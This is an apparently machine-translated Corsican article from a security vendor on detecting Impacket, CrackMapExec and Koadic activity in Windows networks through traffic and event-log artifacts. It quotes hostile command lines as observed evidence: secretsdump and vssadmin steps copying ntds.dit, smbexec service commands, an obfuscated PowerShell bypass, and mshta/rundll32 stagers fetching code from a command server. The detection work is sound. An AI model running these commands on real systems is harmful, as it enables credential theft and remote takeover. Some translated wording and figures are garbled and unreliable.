Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate

U numeru di attacchi in u settore corporativu cresce ogni annu: per esempiu, hà registratu 2017% di più incidenti unichi in 13 chè in 2016, è à a fine di 2018 - 27% più incidentichè in u periodu precedente. Cumpresi quelli induve u principale strumentu di travagliu hè u sistema upirativu Windows. In 2017-2018, APT Dragonfly, APT28, APT MuddyWater hà fattu attacchi à u guvernu è l'urganisazioni militari in Europa, l'America di u Nordu è l'Arabia Saudita. È anu utilizatu trè strumenti per questu - Pacchettu, CrackMapExec и Koadic. U so codice fonte hè apertu è dispunibule nantu à GitHub.

Hè nutate chì sti strumenti ùn sò micca usati per a penetrazione iniziale, ma per u sviluppu di un attaccu in l'infrastruttura. L'attaccanti l'utilizanu in diverse tappe di l'attaccu dopu a penetrazione perimetru. Questu, per via, hè difficiule di detectà è spessu solu cù l'aiutu di a tecnulugia detectà tracce di cumprumissu in u trafficu di a rete o arnesi per detectà l'azzioni attivu di un intruso dopu avè penetratu l'infrastruttura. L'uttene furnisce una varietà di funzioni, da u trasferimentu di fugliali à l'interazzione cù u registru è eseguisce cumandamenti in una macchina remota. Avemu fattu un studiu di sti strumenti per determinà a so attività di rete.

Ciò chì avemu bisognu di fà:

  • Capisce cumu funziona l'arnesi di pirate. Scuprite ciò chì l'attaccanti anu bisognu di sfruttà è chì tecnulugia ponu utilizà.
  • Truvate ciò chì ùn hè micca rilevatu da i strumenti di sicurità di l'infurmazioni in i primi fasi di un attaccu. A tappa di ricunniscenza pò esse saltata, sia perchè l'attaccu hè un attaccu internu, sia perchè l'attaccante sfrutta un difettu in l'infrastruttura chì ùn era micca cunnisciutu prima. Diventa pussibule di restituà tutta a catena di e so azzioni, da quì u desideriu di detectà più muvimentu.
  • Eliminate i falsi pusitivi da i strumenti di rilevazione di intrusioni. Ùn ci vole à scurdà chì quandu certi azzioni sò scuperti nantu à a basa di l'intelligenza solu, l'errori frequenti sò pussibuli. Di solitu in l'infrastruttura ci sò un numeru suffirenziu di manere, indistinguibile da legittimi à u primu sguardu, per ottene ogni infurmazione.

Chì sò questi strumenti dà à l'attaccanti? S'ellu hè un Impacket, allora l'attaccanti uttene una grande biblioteca di moduli chì ponu esse utilizati in diverse tappe di l'attaccu dopu a penetrazione perimetru. Parechji strumenti utilizanu moduli Impacket internamente, cum'è Metasploit. Hà dcomexec è wmiexec per eseguisce cumandamenti remotamente, secretsdump per uttene cunti di memoria aghjuntu da Impacket. In u risultatu, a deteczione curretta di l'attività di una tale biblioteca assicurarà a deteczione di derivati.

Circa CrackMapExec (o simpricimenti CME), i creatori anu scrittu "Powered by Impacket" per una ragione. Inoltre, CME hà una funziunalità pronta per i scenarii populari: questu hè Mimikatz per ottene password o i so hash, è l'intruduzioni di Meterpreter o Empire agenti per l'esekzione remota, è Bloodhound à bordu.

U nostru terzu strumentu di scelta hè Koadic. Hè abbastanza frescu, hè statu prisentatu à a cunferenza internaziunale di pirate DEFCON 25 in 2017 è hà un accostu micca standard: travaglia per HTTP, Java Script è Microsoft Visual Basic Script (VBS). Stu approcciu hè chjamatu vivu fora di a terra: l'uttellu usa un inseme di dependenzii è biblioteche integrate in Windows. I creatori chjamanu COM Command & Control, o C3.

IMPATTU

A funziunalità di Impacket hè assai larga, chì varieghja da a ricunniscenza in l'AD è a cullizzioni di dati da i servitori MS SQL interni, finiscinu cù tecniche per ottene credenziali: questu hè un attaccu di relé SMB, è ottene u schedariu ntds.dit chì cuntene l'hash di password d'utilizatore da un duminiu. controller. Impacket eseguisce ancu cumandamenti remotamente cù quattru metudi diffirenti: via WMI, un serviziu per gestisce u pianificatore di Windows, DCOM è SMB, è per questu hà bisognu di credenziali.

discarica secreta

Fighjemu un ochju à secretsdump. Questu hè un modulu chì pò destinà à e macchine d'utilizatori è i controller di duminiu. Cù ellu, pudete ottene copie di l'area di memoria LSA, SAM, SECURITY, NTDS.dit, cusì pò esse vistu in diverse tappe di l'attaccu. U primu passu in u funziunamentu di u modulu hè l'autentificazione via SMB, chì deve esse a password di l'utilizatore o u so hash per realizà automaticamente l'attaccu Pass the Hash. Dopu vene una dumanda per apre l'accessu à u Service Control Manager (SCM) è acquistà l'accessu à u registru cù u protokollu winreg, cù quale l'attaccante pò truvà e dati di e rami di interessu per ellu è uttene i risultati via SMB.

Nantu à fig. 1 vedemu esattamente cumu, quandu si usa u protokollu winreg, l'accessu hè ottenutu da a chjave di registru cù LSA. Per fà questu, utilizate u cumandamentu DCERPC cù opcode 15 - OpenKey.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 1. Apertura di una chjave di u registru cù u protocolu winreg

In più, quandu l'accessu per chjave hè ottenutu, i valori sò salvati da u cumandamentu SaveKey cù opcode 20. Impacket faci questu in una manera assai specifica. Salva i valori in un schedariu chì u nome hè una stringa di 8 caratteri aleatori cù .tmp appiccicatu. Inoltre, più scaricamentu di stu schedariu si faci via SMB da u cartulare System32 (Fig. 2).

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 2. Scheme per ottene una chjave di registru da una macchina remota

Risulta chì pudete detectà una tale attività nantu à a rete interrugandu certi rami di u registru cù u protocolu winreg, nomi specifichi, cumandamenti è u so ordine.

Inoltre, stu modulu lascia tracce in u logu di l'avvenimenti di Windows, grazie à quale hè facilmente rilevatu. Per esempiu, cum'è u risultatu di eseguisce u cumandamentu

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

in u logu di Windows Server 2016 vedemu a seguente sequenza chjave di l'avvenimenti:

1. 4624 - Logon Remote.
2. 5145 - cuntrollà i diritti d'accessu à u serviziu remoto winreg.
3. 5145 - cuntrollà i diritti d'accessu à un schedariu in u cartulare System32. U schedariu hà u nome aleatoriu citatu sopra.
4. 4688 - crià un prucessu cmd.exe chì lancia vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - crià un prucessu cù u cumandimu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - crià un prucessu cù u cumandimu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - crià un prucessu cù u cumandimu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Cum'è parechji strumenti di post-sfruttamentu, Impacket hà moduli per l'esecuzione di cumandamenti remoti. Fighjemu nantu à smbexec, chì vi dà una shell di cumanda interattiva nantu à una macchina remota. Stu modulu richiede ancu l'autentificazione via SMB cù una password o u so hash. Nantu à fig. 3 vedemu un esempiu di u funziunamentu di un tali strumentu, in questu casu hè a cunsola di l'amministratore locale.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 3. smbexec cunsola interattiva

U primu passu in smbexec dopu l'autentificazione hè di apre u SCM cù u cumandimu OpenSCManagerW (15). A dumanda hè notevule: hà u campu MachineName impostatu à DUMMY.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 4. Request to open Service Control Manager

Dopu, u serviziu hè creatu cù u cumandimu CreateServiceW (12). In u casu di smbexec, pudemu vede a stessa logica di custruzzione di cumanda ogni volta. Nantu à fig. 5 culore verde indica i paràmetri immutable di u cumandamentu, giallu - ciò chì l'attaccante pò cambià. Hè facilitu per vede chì u nome di u schedariu eseguibile, u so repertoriu è u schedariu di output pò esse cambiatu, ma u restu hè assai più difficiuli di cambià senza violà a logica di u modulu Impacket.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 5. Request to create a service using Service Control Manager

Smbexec lascia ancu traccia chjara in u logu di l'avvenimenti di Windows. In u logu di Windows Server 2016 per una shell di cumanda interattiva cù u cumandimu ipconfig, vedemu a seguente sequenza chjave di l'avvenimenti:

1. 4697 - stallà u serviziu nantu à a macchina di a vittima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - creazione di u prucessu cmd.exe cù l'argumenti da u puntu 1.
3. 5145 - cuntrollà i diritti d'accessu à u schedariu __output in u cartulare C$.
4. 4697 - Stallà u serviziu nantu à a macchina di a vittima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creazione di u prucessu cmd.exe cù l'argumenti da u puntu 4.
6. 5145 - cuntrollà i diritti d'accessu à u schedariu __output in u cartulare C$.

Impacket hè a basa per u sviluppu di strumenti di attaccu. Supporta quasi tutti i protokolli in l'infrastruttura Windows è à u stessu tempu hà e so caratteristiche. Quì sò richieste winreg specifichi, è l'usu di l'API SCM cù a furmazione caratteristica di cumandamenti, è u formatu di nomi di schedari, è SMB sparte SYSTEM32.

CRACKMAPEXEC

L'uttellu CME hè pensatu principarmenti per automatizà quelli azzioni di rutina chì un attaccu hà da fà per avanzà in a reta. Permette di travaglià in cunjunzione cù u famosu agentu di l'Imperu è Meterpreter. Per eseguisce cumandamenti invisibili, CME pò oscuralli. Utilizendu Bloodhound (una strumentu di ricunniscenza separata), un attaccu pò automatizà a ricerca di una sessione di amministratore di dominiu attivu.

bracco

Bloodhound cum'è un strumentu autonomu vi permette di fà ricunniscenza avanzata in a reta. Raccoglie dati nantu à utilizatori, macchine, gruppi, sessioni è vene cum'è un script PowerShell o binariu. LDAP o protokolli basati in SMB sò usati per cullà l'infurmazioni. U modulu di integrazione CME permette di scaricà Bloodhound à a macchina di a vittima, eseguisce è riceve i dati raccolti dopu l'esekzione, automatizendu cusì l'azzioni in u sistema è facenu menu notevuli. A cunchiglia gràfica di Bloodhound presenta i dati raccolti in forma di gràfiche, chì vi permette di truvà a strada più corta da a macchina di l'attaccante à l'amministratore di u duminiu.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 6. Interfaccia Bloodhound

Per eseguisce nantu à a macchina di a vittima, u modulu crea un compitu cù ATSVC è SMB. ATSVC hè una interfaccia per travaglià cù Windows Task Scheduler. U CME usa a so funzione NetrJobAdd (1) per creà impieghi nantu à a reta. Un esempiu di ciò chì u modulu CME manda hè mostratu in fig. 7: questu hè una chjama à u cumandamentu cmd.exe è u codice offuscatu in forma di argumenti in u furmatu XML.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Fig.7. Crià un compitu via CME

Dopu chì u compitu hè statu sottumessu per eseguisce, a macchina di a vittima principia u Bloodhound stessu, è questu pò esse vistu in u trafficu. U modulu hè carattarizatu da dumande LDAP per ottene gruppi standard, una lista di tutti i machini è l'utilizatori in u duminiu, ottene infurmazioni nantu à e sessioni di l'utilizatori attivu attraversu a dumanda SRVVSVC NetSessEnum.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 8. Getting a list of active sessions via SMB

Inoltre, l'iniziu di Bloodhound in a macchina di a vittima cù l'auditu attivatu hè accumpagnatu da un avvenimentu cù ID 4688 (creazione di prucessu) è nome di prucessu. «C:WindowsSystem32cmd.exe». Notevoli in questu sò l'argumenti di a linea di cummanda:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

U modulu enum_avproducts hè assai interessante da u puntu di vista di funziunalità è implementazione. WMI permette di utilizà a lingua di query WQL per uttene dati da diversi oggetti Windows, chì hè essenzialmente ciò chì stu modulu CME usa. Genera dumande à e classi AntiSpywareProduct è AntiMirusProduct nantu à i strumenti di prutezzione installati nantu à a macchina di a vittima. Per uttene i dati necessarii, u modulu si cunnetta à u spaziu di nomi rootSecurityCenter2, poi genera una dumanda WQL è riceve una risposta. Nantu à fig. 9 mostra u cuntenutu di tali richieste è risposte. In u nostru esempiu, Windows Defender hè statu trovu.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 9. Attività di rete di u modulu enum_avproducts

Spessu auditing WMI (Trace WMI-Activity), in l'eventi di quale pudete truvà infurmazioni utili nantu à e dumande WQL, pò esse disattivatu. Ma s'ellu hè attivatu, allora se u script enum_avproducts hè eseguitu, un avvenimentu cù l'ID 11 serà guardatu, cuntene u nome di l'utilizatore chì hà sottumessu a dumanda, è u nome in u spaziu di nome rootSecurityCenter2.

Ciascunu di i moduli CME hà avutu i so artefatti, s'ellu si trattava di dumande WQL specifiche o di a creazione di un certu tipu di compitu in u pianificatore di attività cù l'obfuscazione è l'attività specifica di Bloodhound in LDAP è SMB.

KOADIC

Una caratteristica distintiva di Koadic hè l'usu di interpreti JavaScript integrati è VBScript in Windows. In questu sensu, seguita a tendenza di campà fora di a terra - vale à dì, ùn hà micca dipendenze esterne è usa strumenti standard di Windows. Questu hè un strumentu per un Command & Control (CnC) cumpletu, perchè dopu à l'infezzione, un "implant" hè stallatu nantu à a macchina, chì permette di cuntrullà. Una tale macchina, in a terminologia Koadic, hè chjamata "zombie". Se ùn ci hè micca abbastanza privileggi per travaglià cumplettamente da u latu di a vittima, Koadic hà l'abilità di elevà cù e tecniche di bypass di cuntrollu di u cuntu d'utilizatore (UAC bypass).

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 10. shell di cumanda Koadic

A vittima deve inizià a cumunicazione cù u servitore Command & Control. Per fà questu, hà bisognu à accede à un URI pre-preparatu è uttene u corpu Koadic principale cù unu di i stagers. Nantu à fig. 11 mostra un esempiu per u stager mshta.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 11. Inizializazione di a sessione cù u servitore CnC

Per a variàbile WS di a risposta, diventa chjaru chì l'esekzione si faci via WScript.Shell, è e variabili STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE cuntenenu infurmazione chjave nantu à i paràmetri di a sessione attuale. Questu hè u primu paru dumanda-risposta in a cunnessione HTTP à u servitore CnC. E dumande dopu sò direttamente ligati à a funziunalità di i moduli chjamati (impianti). Tutti i moduli Koadic funzionanu solu cù una sessione CnC attiva.

Mimikatz

Cum'è CME travaglia cù Bloodhound, Koadic travaglia cù Mimikatz cum'è un prugramma separatu è hà parechje manere di eseguisce. Quì sottu hè una coppia dumanda-risposta per scaricà un implant Mimikatz.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 12. Trasferite Mimikatz à Koadic

Pudete vede cumu u formatu di l'URI in a dumanda hà cambiatu. Havi un valore per a variabile csrf, chì hè rispunsevule per u modulu sceltu. Ùn fate micca attente à u so nome; tutti sapemu chì CSRF hè generalmente capitu in modu diversu. U stessu corpu principale di Koadic hè vinutu in risposta, à quale hè aghjuntu u codice in relazione à Mimikatz. Hè abbastanza grande, dunque fighjemu i punti chjave. Eccu a libreria Mimikatz codificata in base64, a classa serializzata .NET chì l'injecterà, è l'argumenti per eseguisce Mimikatz. U risultatu di l'esekzione hè trasmessu nantu à a reta in u testu chjaru.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 13. U risultatu di eseguisce Mimikatz nantu à una macchina remota

Exec_cmd

Koadic hà ancu moduli chì ponu eseguisce cumandamenti remotamente. Quì vedemu u stessu metudu di generazione URI è e variabili sid è csrf familiari. In u casu di u modulu exec_cmd, u codice hè aghjuntu à u corpu chì hè capaci di eseguisce cumandamenti di shell. U codice seguente hè mostratu in a risposta HTTP di u servitore CnC.

Cumu detectà attacchi à l'infrastruttura di Windows: esplorendu strumenti di pirate
Risu. 14. Implant code exec_cmd

A variabile GAWTUUGCFI cù l'attributu familiar WS hè necessariu per l'esekzione di codice. Cù u so aiutu, l'implantu chjama a cunchiglia, trasfurmendu dui rami di codice - shell.exec cù u ritornu di u flussu di dati di output è shell.run senza vultà.

Koadic ùn hè micca un strumentu tipicu, ma hà u so propiu artefatti da quale pò esse truvatu in u trafficu legittimu:

  • furmazione speciale di dumande HTTP,
  • utilizendu l'API winHttpRequests,
  • criendu un oggettu WScript.Shell via ActiveXObject,
  • grande corpu eseguibile.

A cunnessione iniziale inizia u stager, cusì diventa pussibule detectà a so attività attraversu l'avvenimenti di Windows. Per mshta, questu hè l'avvenimentu 4688, chì indica a creazione di un prucessu cù l'attributu start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Duranti l'esekzione di Koadic, altri 4688 avvenimenti ponu esse vistu cù attributi chì u caratterizeghjanu perfettamente:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

scuperti

A tendenza di campà fora di a terra hè guadagnatu pupularità trà i cibercriminali. Adupranu l'arnesi è i miccanismi integrati di Windows per i so bisogni. Videmu l'uttene populari Koadic, CrackMapExec è Impacket chì seguitanu stu principiu apparsu più è più freti in i rapporti APT. U numeru di furchetti in GitHub per questi arnesi hè ancu in crescita, i novi appariscenu (ci sò digià circa un milla di elli avà). A tendenza hè guadagnatu pupularità per via di a so simplicità: l'attaccanti ùn anu micca bisognu di strumenti di terzu, sò digià nantu à e macchine di e vittime è aiutanu à svià e misure di sicurezza. Semu cuncentrati nantu à u studiu di l'interazzione di a rete: ogni strumentu descrittu sopra lascia e so tracce in u trafficu di a rete; u so studiu detallatu ci hà permessu di insignà u nostru pruduttu PT Network Attack Discovery per detectà elli, chì ultimamente aiuta à investigà tutta a catena di incidenti cibernetici chì li implicanu.

L'autori:

  • Anton Tyurin, Capu di u Dipartimentu di i servizii di l'Esperti, PT Expert Security Center, Tecnulugie Positive
  • Egor Podmokov, espertu, PT Expert Security Center, Tecnulugie Positive

Source: www.habr.com

Add a comment